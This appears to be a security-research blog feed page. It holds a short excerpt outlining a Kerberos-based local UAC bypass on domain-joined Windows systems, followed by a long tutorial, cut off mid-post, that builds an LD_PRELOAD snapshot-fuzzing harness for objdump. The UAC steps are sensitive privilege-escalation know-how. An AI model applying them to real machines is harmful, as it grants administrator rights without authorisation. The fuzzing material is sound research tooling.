Normal view
- Winsider Seminars & Solutions Inc.
- HyperGuard – Secure Kernel Patch Guard: Part 1 – SKPG Initialization
HyperGuard – Secure Kernel Patch Guard: Part 2 – SKPG Extents
An Exercise in Dynamic Analysis
Bypassing UAC in the most Complex Way Possible!
While it's not something I spend much time on, finding a new way to bypass UAC is always amusing. When reading through some of the features of the Rubeus tool I realised that there was a possible way of abusing Kerberos to bypass UAC, well on domain joined systems at least. It's unclear if this has been documented before, this post seems to discuss something similar but relies on doing the UAC bypass from another system, but what I'm going to describe works locally. Even if it has been described as a technique before I'm not sure it's been documented how it works under the hood.
The Background!
- The user SID is not a member of the local account domain.
- The LocalAccountTokenFilterPolicy LSA policy is non-zero, which disables the local account filtering.
- The product type is NtProductLanManNt, which actually corresponds to a domain controller.
Well, about that!
- Query for the user's TGT using the delegation trick.
- Make a request to the KDC for a new service ticket for the local machine using the TGT. Add a KERB-AD-RESTRICTION-ENTRY but fill in a bogus machine ID.
- Import the service ticket into the cache.
- Access the SCM to bypass UAC.
Didn't you forget KERB-LOCAL?
Fuzzing Like A Caveman 6: Binary Only Snapshot Fuzzing Harness
Introduction
It’s been a while since I’ve done one of these, and one of my goals this year is to do more so here we are. A side project of mine is kind of reaching a good stopping point so I’ll have more free-time to do my own research and blog again. Looking forward to sharing more and more this year.
One of the most common questions that comes up in beginner fuzzing circles (of which I’m obviously a member) is how to harness a target so that it can be fuzzed in memory, as some would call in ‘persistent’ fashion, in order to gain performance. Persistent fuzzing has a niche use-case where the target doesn’t touch much global state from fuzzcase to fuzzcase, an example would be a tight fuzzing loop for a single API in a library, or maybe a single function in a binary.
This style of fuzzing is faster than re-executing the target from scratch over and over as we bypass all the heavy syscalls/kernel routines associated with creating and destroying task structs.
However, with binary targets for which we don’t have source code, it’s sometimes hard to discern what global state we’re affecting while executing any code path without some heavy reverse engineering (disgusting, work? gross). Additionally, we often want to fuzz a wider loop. It doesn’t do us much good to fuzz a function which returns a struct that is then never read or consumed in our fuzzing workflow. With these things in mind, we often find that ‘snapshot’ fuzzing would be a more robust workflow for binary targets, or even production binaries for which, we have source, but have gone through the sausage factory of enterprise build systems.
So today, we’re going to learn how to take an arbitrary binary only target that takes an input file from the user and turn it into a target that takes its input from memory instead and lends itself well to having its state reset between fuzzcases.
Target (Easy Mode)
For the purposes of this blogpost, we’re going to harness objdump to be snapshot fuzzed. This will serve our purposes because it’s relatively simple (single threaded, single process) and it’s a common fuzzing target, especially as people do development work on their fuzzers. The point of this is not to impress you by sandboxing some insane target like Chrome, but to show beginners how to start thinking about harnessing. You want to lobotomize your targets so that they are unrecognizable to their original selves but retain the same semantics. You can get as creative as you want, and honestly, sometimes harnessing targets is some of the most satisfying work related to fuzzing. It feels great to successfully sandbox a target and have it play nice with your fuzzer. On to it then.
Hello World
The first step is to determine how we want to change objdump’s behavior. Let’s try running it under strace
and disassemble ls
and see how it behaves at the syscall level with strace objdump -D /bin/ls
. What we’re looking for is the point where objdump
starts interacting with our input, /bin/ls
in this case. In the output, if you scroll down past the boilerplate stuff, you can see the first appearance of /bin/ls
:
stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=133792, ...}) = 0
stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=133792, ...}) = 0
openat(AT_FDCWD, "/bin/ls", O_RDONLY) = 3
fcntl(3, F_GETFD) = 0
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
Keep in mind that as you read through this, if you’re following along at home, your output might not match mine exactly. I’m likely on a different distribution than you running a different objdump than you. But the point of the blogpost is to just show concepts that you can be creative on your own.
I also noticed that the program doesn’t close our input file until the end of execution:
read(3, "\0\0\0\0\0\0\0\0\10\0\"\0\0\0\0\0\1\0\0\0\377\377\377\377\1\0\0\0\0\0\0\0"..., 4096) = 2720
write(1, ":(%rax)\n 21ffa4:\t00 00 "..., 4096) = 4096
write(1, "x0,%eax\n 220105:\t00 00 "..., 4096) = 4096
close(3) = 0
write(1, "023e:\t00 00 \tadd "..., 2190) = 2190
exit_group(0) = ?
+++ exited with 0 +++
This is good to know, we’ll need our harness to be able to emulate an input file fairly well since objdump doesn’t just read our file into a memory buffer in one shot or mmap()
the input file. It is continuously reading from the file throughout the strace
output.
Since we don’t have source code for the target, we’re going to affect behavior by using an LD_PRELOAD
shared object. By using an LD_PRELOAD
shared object, we should be able to hook the wrapper functions around the syscalls that interact with our input file and change their behavior to suit our purposes. If you are unfamiliar with dynamic linking or LD_PRELOAD
, this would be a good stopping point to go Google around for more information great starting point. For starters, let’s just get a Hello, World! shared object loaded.
We can utilize gcc
Function Attributes to have our shared object execute code when it is loaded by the target by leveraging the constructor
attribute.
So our code so far will look like this:
/*
Compiler flags:
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/
#include <stdio.h> /* printf */
// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
printf("** LD_PRELOAD shared object loaded!\n");
}
I added the compiler flags needed to compile to the top of the file as a comment. I got these flags from this blogpost on using LD_PRELOAD
shared objects a while ago: https://tbrindus.ca/correct-ld-preload-hooking-libc/.
We can now use the LD_PRELOAD
environment variable and run objdump with our shared object which should print when loaded:
h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D /bin/ls > /tmp/output.txt && head -n 20 /tmp/output.txt
**> LD_PRELOAD shared object loaded!
/bin/ls: file format elf64-x86-64
Disassembly of section .interp:
0000000000000238 <.interp>:
238: 2f (bad)
239: 6c ins BYTE PTR es:[rdi],dx
23a: 69 62 36 34 2f 6c 64 imul esp,DWORD PTR [rdx+0x36],0x646c2f34
241: 2d 6c 69 6e 75 sub eax,0x756e696c
246: 78 2d js 275 <_init@@Base-0x34e3>
248: 78 38 js 282 <_init@@Base-0x34d6>
24a: 36 2d 36 34 2e 73 ss sub eax,0x732e3436
250: 6f outs dx,DWORD PTR ds:[rsi]
251: 2e 32 00 xor al,BYTE PTR cs:[rax]
Disassembly of section .note.ABI-tag:
It works, now we can start looking for functions to hook.
Looking for Hooks
First thing we need to do, is create a fake file name to give objdump so that we can start testing things out. We will copy /bin/ls
into the current working directory and call it fuzzme
. This will allow us to generically play around with the harness for testing purposes. Now we have our strace
output, we know that objdump calls stat()
on the path for our input file (/bin/ls
) a couple of times before we get that call to openat()
. Since we know our file hasn’t been opened yet, and the syscall uses the path for the first arg, we can guess that this syscall results from the libc exported wrapper function for stat()
or lstat()
. I’m going to assume stat()
since we aren’t dealing with any symbolic links for /bin/ls
on my box. We can add a hook for stat()
to test to see if we hit it and check if it’s being called for our target input file (now changed to fuzzme
).
In order to create a hook, we will follow a pattern where we define a pointer to the real function via a typedef
and then we will initialize the pointer as NULL
. Once we need to resolve the location of the real function we are hooking, we can use dlsym(RLTD_NEXT, <symbol name>)
to get it’s location and change the pointer value to the real symbol address. (This will be more clear later on).
Now we need to hook stat()
which appears as a man 3
entry here (meaning it’s a libc exported function) as well as a man 2
entry (meaning it is a syscall). This was confusing to me for the longest time and I often misunderstood how syscalls actually worked because of this insistence on naming collisions. You can read one of the first research blogposts I ever did here where the confusion is palpable and I often make erroneous claims. (PS, I’ll never edit the old blogposts with errors in them, they are like time capsules, and it’s kind of cool to me).
We want to write a function that when called, simply prints something and exits so that we know our hook was hit. For now, our code looks like this:
/*
Compiler flags:
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"
// Declare a prototype for the real stat as a function pointer
typedef int (*stat_t)(const char *restrict path, struct stat *restrict buf);
stat_t real_stat = NULL;
// Hook function, objdump will call this stat instead of the real one
int stat(const char *restrict path, struct stat *restrict buf) {
printf("** stat() hook!\n");
exit(0);
}
// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
printf("** LD_PRELOAD shared object loaded!\n");
}
However, if we compile and run that, we don’t ever print and exit so our hook is not being called. Something is going wrong. Sometimes, file related functions in libc have 64
variants, such as open()
and open64()
that are used somewhat interchangably depending on configurations and flags. I tried hooking a stat64()
but still had no luck with the hook being reached.
Luckily, I’m not the first person with this problem, there is a great answer on Stackoverflow about the very issue that describes how libc doesn’t actually export stat()
the same way it does for other functions like open()
and open64()
, instead it exports a symbol called __xstat()
which has a slightly different signature and requires a new argument called version
which is meant to describe which version of stat struct
the caller is expecting. This is supposed to all happen magically under the hood but that’s where we live now, so we have to make the magic happen ourselves. The same rules apply for lstat()
and fstat()
as well, they have __lxstat()
and __fxstat()
respectively.
I found the definitions for the functions here. So we can add the __xstat()
hook to our shared object in place of the stat()
and see if our luck changes. Our code now looks like this:
/*
Compiler flags:
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"
// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;
// Hook function, objdump will call this stat instead of the real one
int __xstat(int __ver, const char *__filename, struct stat *__stat_buf) {
printf("** Hit our __xstat() hook!\n");
exit(0);
}
// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
printf("** LD_PRELOAD shared object loaded!\n");
}
Now if we run our shared object, we get the desired outcome, somewhere, our hook is hit. Now we can help ourselves out a bit and print the filenames being requested by the hook and then actually call the real __xstat()
on behalf of the caller. Now when our hook is hit, we will have to resolve the location of the real __xstat()
by name, so we’ll add a symbol resolving function to our shared object. Our shared object code now looks like this:
/*
Compiler flags:
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/
#define _GNU_SOURCE /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"
// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;
// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
// Clear previous errors
dlerror();
// Get symbol address
void* addr = dlsym(RTLD_NEXT, symbol);
// Check for error
char* err = NULL;
err = dlerror();
if (err) {
addr = NULL;
printf("Err resolving '%s' addr: %s\n", symbol, err);
exit(-1);
}
return addr;
}
// Hook function, objdump will call this stat instead of the real one
int __xstat(int __ver, const char *__filename, struct stat *__stat_buf) {
// Print the filename requested
printf("** __xstat() hook called for filename: '%s'\n", __filename);
// Resolve the address of the real __xstat() on demand and only once
if (!real_xstat) {
real_xstat = _resolve_symbol("__xstat");
}
// Call the real __xstat() for the caller so everything keeps going
return real_xstat(__ver, __filename, __stat_buf);
}
// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
printf("** LD_PRELOAD shared object loaded!\n");
}
Ok so now when we run this, and we check for our print statements, things get a little spicy.
h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme > /tmp/output.txt && grep "** __xstat" /tmp/output.txt
** __xstat() hook called for filename: 'fuzzme'
** __xstat() hook called for filename: 'fuzzme'
So now we can have some fun.
__xstat() Hook
So the purpose of this hook will be to lie to objdump and make it think it successfully stat()
the input file. Remember, we’re making a snapshot fuzzing harness so our objective is to constantly be creating new inputs and feeding them to objdump through this harness. Most importantly, our harness will need to be able to represent our variable length inputs (which will be stored purely in memory) as files. Each fuzzcase, the file length can change and our harness needs to accomodate that.
My idea at this point was to create a somewhat “legit” stat struct
that would normally be returned for our actual file fuzzme
which is just a copy of /bin/ls
. We can store this stat struct
globally and only update the size field as each new fuzz case comes through. So the timeline of our snapshot fuzzing workflow would look something like:
- Our
constructor
function is called when our shared object is loaded - Our
constructor
sets up a global “legit”stat struct
that we can update for each fuzzcase and pass back to callers of__xstat()
trying tostat()
our fuzzing target - The imaginary fuzzer runs objdump to the snapshot location
- Our
__xstat()
hook updates the the global “legit”stat struct
size field and copies thestat struct
into the caller’s buffer - The imaginary fuzzer restores the state of objdump to its state at snapshot time
- The imaginary fuzzer copies a new input into harness and updates the input size
- Our
__xstat()
hook is called once again, and we repeat step 4, this process occurs over and over forever.
So we’re imagining the fuzzer has some routine like this in pseudocode, even though it’d likely be cross-process and require process_vm_writev
:
insert_fuzzcase(config.input_location, config.input_size_location, input, input_size) {
memcpy(config.input_location, &input, input_size);
memcpy(config.input_size_location, &input_size, sizeof(size_t));
}
One important thing to keep in mind is that if the snapshot fuzzer is restoring objdump to its snapshot state every fuzzing iteration, we must be careful not to depend on any global mutable memory. The global stat struct
will be safe since it will be instantiated during the constructor
however, its size-field will be restored to its original value each fuzzing iteration by the fuzzer’s snapshot restore routine.
We will also need a global, recognizable address to store variable mutable global data like the current input’s size. Several snapshot fuzzers have the flexibility to ignore contiguous ranges of memory for restoration purposes. So if we’re able to create some contiguous buffers in memory at recognizable addresses, we can have our imaginary fuzzer ignore those ranges for snapshot restorations. So we need to have a place to store the inputs, as well as information about their size. We would then somehow tell the fuzzer about these locations and when it generated a new input, it would copy it into the input location and then update the current input size information.
So now our constructor has an additional job: setup the input location as well as the input size information. We can do this easily with a call to mmap()
which will allow us to specify an address we want our mapping mapped to with the MAP_FIXED
flag. We’ll also create a MAX_INPUT_SZ
definition so that we know how much memory to map from the input location.
Just by themselves, the functions related to mapping memory space for the inputs themselves and their size information looks like this. Notice that we use MAP_FIXED
and we check the returned address from mmap()
just to make sure the call didn’t succeed but map our memory at a different location:
// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
void *result = NULL;
// Map the page to hold the input size
result = mmap(
(void *)(INPUT_SZ_ADDR),
sizeof(size_t),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0,
0
);
if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
printf("Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
exit(-1);
}
// Let's actually initialize the value at the input size location as well
*(size_t *)INPUT_SZ_ADDR = 0;
// Map the pages to hold the input contents
result = mmap(
(void *)(INPUT_ADDR),
(size_t)(MAX_INPUT_SZ),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0,
0
);
if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
printf("Err mapping INPUT_ADDR, mapped @ %p\n", result);
exit(-1);
}
// Init the value
memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}
mmap()
will actually map multiples of whatever the page size is on your system (typically 4096 bytes). So, when we ask for sizeof(size_t)
bytes for the mapping, mmap()
is like: “Hmm, that’s just a page dude” and gives us back a whole page from 0x1336000 - 0x1337000
not inclusive on the high-end.
Random sidenote, be careful about arithmetic in definitions and macros as I’ve done here with MAX_INPUT_SIZE
, it’s very easy for the pre-processor to substitute your text for the definition keyword and ruin some order of operations or even overflow a specific primitive type like int
.
Now that we have memory set up for the fuzzer to store inputs and information about the input’s size, we can create that global stat struct. But we actually have a big problem. How can we call into __xstat()
to get our “legit” stat struct
if we have __xstat()
hooked? We would hit our own hook. To circumvent this, we can call __xstat()
with a special __ver
argument that we know will mean that it was called from our constructor
, the variable is an int
so let’s go with 0x1337
as the special value. That way, in our hook, if we check __ver
and it’s 0x1337
, we know we are being called from the constructor
and we can actually stat our real file and create a global “legit” stat struct
. When I dumped a normal call by objdump to __xstat()
the __version
was always a value of 1
so we will patch it back to that inside our hook. Now our entire shared object source file should look like this:
/*
Compiler flags:
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/
#define _GNU_SOURCE /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
#include <sys/mman.h> /* mmap */
#include <string.h> /* memset */
// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"
// Definitions for our in-memory inputs
#define INPUT_SZ_ADDR 0x1336000
#define INPUT_ADDR 0x1337000
#define MAX_INPUT_SZ (1024 * 1024)
// Our "legit" global stat struct
struct stat st;
// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;
// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
// Clear previous errors
dlerror();
// Get symbol address
void* addr = dlsym(RTLD_NEXT, symbol);
// Check for error
char* err = NULL;
err = dlerror();
if (err) {
addr = NULL;
printf("Err resolving '%s' addr: %s\n", symbol, err);
exit(-1);
}
return addr;
}
// Hook for __xstat
int __xstat(int __ver, const char* __filename, struct stat* __stat_buf) {
// Resolve the real __xstat() on demand and maybe multiple times!
if (NULL == real_xstat) {
real_xstat = _resolve_symbol("__xstat");
}
// Assume the worst, always
int ret = -1;
// Special __ver value check to see if we're calling from constructor
if (0x1337 == __ver) {
// Patch back up the version value before sending to real xstat
__ver = 1;
ret = real_xstat(__ver, __filename, __stat_buf);
// Set the real_xstat back to NULL
real_xstat = NULL;
return ret;
}
// Determine if we're stat'ing our fuzzing target
if (!strcmp(__filename, FUZZ_TARGET)) {
// Update our global stat struct
st.st_size = *(size_t *)INPUT_SZ_ADDR;
// Send it back to the caller, skip syscall
memcpy(__stat_buf, &st, sizeof(struct stat));
ret = 0;
}
// Just a normal stat, send to real xstat
else {
ret = real_xstat(__ver, __filename, __stat_buf);
}
return ret;
}
// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
void *result = NULL;
// Map the page to hold the input size
result = mmap(
(void *)(INPUT_SZ_ADDR),
sizeof(size_t),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0,
0
);
if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
printf("Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
exit(-1);
}
// Let's actually initialize the value at the input size location as well
*(size_t *)INPUT_SZ_ADDR = 0;
// Map the pages to hold the input contents
result = mmap(
(void *)(INPUT_ADDR),
(size_t)(MAX_INPUT_SZ),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0,
0
);
if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
printf("Err mapping INPUT_ADDR, mapped @ %p\n", result);
exit(-1);
}
// Init the value
memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}
// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
// Create memory mappings to hold our input and information about its size
_create_mem_mappings();
}
Now if we run this, we get the following output:
h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme
objdump: Warning: 'fuzzme' is not an ordinary file
This is cool, this means that the objdump devs did something right and their stat()
would say: “Hey, this file is zero bytes in length, something weird is going on” and they spit out this error message and exit. Good job devs!
So we have identified a problem, we need to simulate the fuzzer placing a real input into memory, to do that, I’m going to start using #ifdef
to define whether or not we’re testing our shared object. So basically, if we compile the shared object and define TEST
, our shared object will copy an “input” into memory to simulate how the fuzzer would behave during fuzzing and we can see if our harness is working appropriately. So if we define TEST
, we will copy /bin/ed
into memory, and we will update our global “legit” stat struct
size member, and place the /bin/ed
bytes into memory.
You can compile the shared object now to perform the test as follows:
gcc -D TEST -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ld
We also need to set up our global “legit” stat struct
, the code to do that should look as follows. Remember, we pass a fake __ver
variable to let the __xstat()
hook know that it’s us in the constructor
routine, which allows the hook to behave well and give us the stat struct
we need:
// Create a "legit" stat struct globally to pass to callers
static void _setup_stat_struct(void) {
// Create a global stat struct for our file in case someone asks, this way
// when someone calls stat() or fstat() on our target, we can just return the
// slightly altered (new size) stat struct &skip the kernel, save syscalls
int result = __xstat(0x1337, FUZZ_TARGET, &st);
if (-1 == result) {
printf("Error creating stat struct for '%s' during load\n", FUZZ_TARGET);
}
}
All in all, our entire harness looks like this now:
/*
Compiler flags:
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/
#define _GNU_SOURCE /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
#include <sys/mman.h> /* mmap */
#include <string.h> /* memset */
#include <fcntl.h> /* open */
// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"
// Definitions for our in-memory inputs
#define INPUT_SZ_ADDR 0x1336000
#define INPUT_ADDR 0x1337000
#define MAX_INPUT_SZ (1024 * 1024)
// For testing purposes, we read /bin/ed into our input buffer to simulate
// what the fuzzer would do
#define TEST_FILE "/bin/ed"
// Our "legit" global stat struct
struct stat st;
// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;
// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
// Clear previous errors
dlerror();
// Get symbol address
void* addr = dlsym(RTLD_NEXT, symbol);
// Check for error
char* err = NULL;
err = dlerror();
if (err) {
addr = NULL;
printf("Err resolving '%s' addr: %s\n", symbol, err);
exit(-1);
}
return addr;
}
// Hook for __xstat
int __xstat(int __ver, const char* __filename, struct stat* __stat_buf) {
// Resolve the real __xstat() on demand and maybe multiple times!
if (!real_xstat) {
real_xstat = _resolve_symbol("__xstat");
}
// Assume the worst, always
int ret = -1;
// Special __ver value check to see if we're calling from constructor
if (0x1337 == __ver) {
// Patch back up the version value before sending to real xstat
__ver = 1;
ret = real_xstat(__ver, __filename, __stat_buf);
// Set the real_xstat back to NULL
real_xstat = NULL;
return ret;
}
// Determine if we're stat'ing our fuzzing target
if (!strcmp(__filename, FUZZ_TARGET)) {
// Update our global stat struct
st.st_size = *(size_t *)INPUT_SZ_ADDR;
// Send it back to the caller, skip syscall
memcpy(__stat_buf, &st, sizeof(struct stat));
ret = 0;
}
// Just a normal stat, send to real xstat
else {
ret = real_xstat(__ver, __filename, __stat_buf);
}
return ret;
}
// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
void *result = NULL;
// Map the page to hold the input size
result = mmap(
(void *)(INPUT_SZ_ADDR),
sizeof(size_t),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0,
0
);
if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
printf("Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
exit(-1);
}
// Let's actually initialize the value at the input size location as well
*(size_t *)INPUT_SZ_ADDR = 0;
// Map the pages to hold the input contents
result = mmap(
(void *)(INPUT_ADDR),
(size_t)(MAX_INPUT_SZ),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0,
0
);
if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
printf("Err mapping INPUT_ADDR, mapped @ %p\n", result);
exit(-1);
}
// Init the value
memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}
// Create a "legit" stat struct globally to pass to callers
static void _setup_stat_struct(void) {
int result = __xstat(0x1337, FUZZ_TARGET, &st);
if (-1 == result) {
printf("Error creating stat struct for '%s' during load\n", FUZZ_TARGET);
}
}
// Used for testing, load /bin/ed into the input buffer and update its size info
#ifdef TEST
static void _test_func(void) {
// Open TEST_FILE for reading
int fd = open(TEST_FILE, O_RDONLY);
if (-1 == fd) {
printf("Failed to open '%s' during test\n", TEST_FILE);
exit(-1);
}
// Attempt to read max input buf size
ssize_t bytes = read(fd, (void*)INPUT_ADDR, (size_t)MAX_INPUT_SZ);
close(fd);
// Update the input size
*(size_t *)INPUT_SZ_ADDR = (size_t)bytes;
}
#endif
// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
// Create memory mappings to hold our input and information about its size
_create_mem_mappings();
// Setup global "legit" stat struct
_setup_stat_struct();
// If we're testing, load /bin/ed up into our input buffer and update size
#ifdef TEST
_test_func();
#endif
}
Now if we run this under strace
, we notice that our two stat()
calls are conspicuously missing.
close(3) = 0
openat(AT_FDCWD, "fuzzme", O_RDONLY) = 3
fcntl(3, F_GETFD) = 0
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
We no longer see the stat()
calls before the openat()
and the program does not break in any significant way. So this hook seems to be working appropriately. We now need to handle the openat()
and make sure we don’t actually interact with our input file, but instead trick objdump to interact with our input in memory.
Finding a Way to Hook openat()
My non-expert intuition tells me theres probably a few ways in which a libc function could end up calling openat()
under the hood. Those ways might include the wrappers open()
as well as fopen()
. We also need to be mindful of their 64
variants as well (open64()
, fopen64()
). I decided to try the fopen()
hooks first:
// Declare prototype for the real fopen and its friend fopen64
typedef FILE* (*fopen_t)(const char* pathname, const char* mode);
fopen_t real_fopen = NULL;
typedef FILE* (*fopen64_t)(const char* pathname, const char* mode);
fopen64_t real_fopen64 = NULL;
...
// Exploratory hooks to see if we're using fopen() related functions to open
// our input file
FILE* fopen(const char* pathname, const char* mode) {
printf("** fopen() called for '%s'\n", pathname);
exit(0);
}
FILE* fopen64(const char* pathname, const char* mode) {
printf("** fopen64() called for '%s'\n", pathname);
exit(0);
}
If we compile and run our exploratory hooks, we get the following output:
h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme
** fopen64() called for 'fuzzme'
Bingo, dino DNA.
So now we can flesh that hooked function out a bit to behave how we want.
Refining an fopen64()
Hook
The definition for fopen64()
is: ` FILE *fopen(const char *restrict pathname, const char *restrict mode);. The returned
FILE * poses a slight problem to us because this is an opaque data structure that is not meant to be understood by the caller. Which is to say, the caller is not meant to access any members of this data structure or worry about its layout in any way. You're just supposed to use the returned
FILE * as an object to pass to other functions, such as
fclose()`. The system deals with the data structure there in those types of related functions so that programmers don’t have to worry about a specific implementation.
We don’t actually know how the returned FILE *
will be used, it may not be used at all, or it may be passed to a function such as fread()
so we need a way to return a convincing FILE *
data structure to the caller that is actually built from our input in memory and NOT from the input file. Luckily, there is a libc function called fmemopen()
which behaves very similarly to fopen()
and also returns a FILE *
. So we can go ahead and create a FILE *
to return to callers of fopen64()
with fuzzme
as the target input file. Shoutout to @domenuk for showing me fmemopen()
, I had never come across it before.
There is one key difference though. fopen()
will actually obtain file descriptor for the underlying file and fmemopen()
, since it is not actually openining a file, will not. So somewhere in the FILE *
data structure, there is a file descriptor for the underlying file if returned from fopen()
and there isn’t one if returned from fmemopen()
. This is very important as functions such as int fileno(FILE *stream)
can parse a FILE *
and return its underlying file descriptor to the caller. Objdump may want to do this for some reason and we need to be able to robustly handle it. So we need a way to know if someone is trying to use our faked FILE *
underlying file descriptor.
My idea for this was to simply find the struct member containing the file descriptor in the FILE *
returned from fmemopen()
and change it to be something ridiculous like 1337
so that if objdump ever tried to use that file descriptor we would know the source of it and could try to hook any interactions with the file descriptor. So now our fopen64()
hook should look as follows:
// Our fopen hook, return a FILE* to the caller, also, if we are opening our
// target make sure we're not able to write to the file
FILE* fopen64(const char* pathname, const char* mode) {
// Resolve symbol on demand and only once
if (NULL == real_fopen64) {
real_fopen64 = _resolve_symbol("fopen64");
}
// Check to see what file we're opening
FILE* ret = NULL;
if (!strcmp(FUZZ_TARGET, pathname)) {
// We're trying to open our file, make sure it's a read-only mode
if (strcmp(mode, "r")) {
printf("Attempt to open fuzz-target in illegal mode: '%s'\n", mode);
exit(-1);
}
// Open shared memory FILE* and return to caller
ret = fmemopen((void*)INPUT_ADDR, *(size_t*)INPUT_SZ_ADDR, mode);
// Make sure we've never fopen()'d our fuzzing target before
if (faked_fp) {
printf("Attempting to fopen64() fuzzing target more than once\n");
exit(-1);
}
// Update faked_fp
faked_fp = ret;
// Change the filedes to something we know
ret->_fileno = 1337;
}
// We're not opening our file, send to regular fopen
else {
ret = real_fopen64(pathname, mode);
}
// Return FILE stream ptr to caller
return ret;
}
You can see we:
- Resolve the symbol location if it hasn’t been yet
- Check to see if we’re being called on our fuzzing target input file
- Call
fmemopen()
and open the memory buffer where our current input is in memory along with the input’s size
You may also notice a few safety checks as well to make sure things don’t go unnoticed. We have a global variable that is FILE *faked_fp
that we initialize to NULL
which let’s us know if we’ve ever opened our input more than once (it wouldn’t be NULL
anymore on subsequent attempts to open it).
We also do a check on the mode
argument to make sure we’re getting a read-only FILE *
back. We don’t want objdump to alter our input or write to it in any way and if it tries to, we need to know about it.
Running our shared object at this point nets us the following output:
h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme
objdump: fuzzme: Bad file descriptor
My spidey-sense is telling me something tried to interact with a file descriptor of 1337
. Let’s run again under strace
and see what happens.
h0mbre@ubuntu:~/blogpost$ strace -E LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme > /tmp/output.txt
In the output, we can see some syscalls to fcntl()
and fstat()
both being called with a file descriptor of 1337
which obviously doesn’t exist in our objdump process, so we’ve been able to find the problem.
fcntl(1337, F_GETFD) = -1 EBADF (Bad file descriptor)
